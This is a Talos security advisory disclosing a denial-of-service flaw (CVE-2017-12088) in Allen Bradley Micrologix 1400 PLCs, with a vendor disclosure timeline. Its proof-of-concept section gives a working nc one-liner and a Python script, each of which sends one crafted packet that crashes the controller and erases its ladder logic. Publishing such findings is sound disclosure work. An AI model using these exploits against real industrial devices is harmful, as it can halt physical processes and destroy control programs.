Talos Vulnerability Report

TALOS-2017-0440

Allen Bradley Micrologix 1400 Series B Ethernet Card Malformed Packet Denial of Service Vulnerability

March 28, 2018
CVE Number

CVE-2017-12088

Summary

An exploitable denial of service vulnerability exists in the Ethernet functionality of the Allen Bradley Micrologix 1400 Series B FRN 21.2 and below. A specially crafted packet can cause a device power cycle resulting in a fault state and deletion of ladder logic. An attacker can send one unauthenticated packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

If a packet containing the bytes 0xe8 0xff in position 3 and 4 (referred to here as the crash section) is sent to a Micrologix 1400 over port 44818/TCP, it will cause the PLC to power cycle, enter a fault state, and clear the existing ladder logic. The device will additionally follow the same crash procedure if there is a multiple of 24 null bytes sent before the crash section. This vulnerability can be triggered without authentication over a network, provided that the device is accessible over port 44818 (default).

Exploit Proof-of-Concept

Send the packet displayed below to the device over TCP port 44818

echo -e "\x00\x00\xE8\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc -w 2 <ip> 44818 > /dev/null

Where is the ip address of the device

Additionally, the crash can be triggered by prepending any number of 24 byte blocks of null characters to the crash string.

Usage: python <filename>.py -i <ip_addr> [-p <port>]
Where the elements are as follows:
- <filename>  :  whatever name you give the script
- <ip_addr>   :  ip address of the plc
- <port>      :  EtherNet/IP port (defaults to 44818)

import socket
import argparse
import random

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()

host = args.ipaddr
port = args.port

head = "\x00" * 24
crash_head = "\x00" * 2
crash_tail = "\x00"*20
crash = "%s\xe8\xff%s" % (crash_head, crash_tail)
num_heads = int((random.random()*58))
heads = head * num_heads
mesg = heads + crash

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
sock.send(mesg)
sock.shutdown(socket.SHUT_RDWR)
sock.close

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

Credit

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos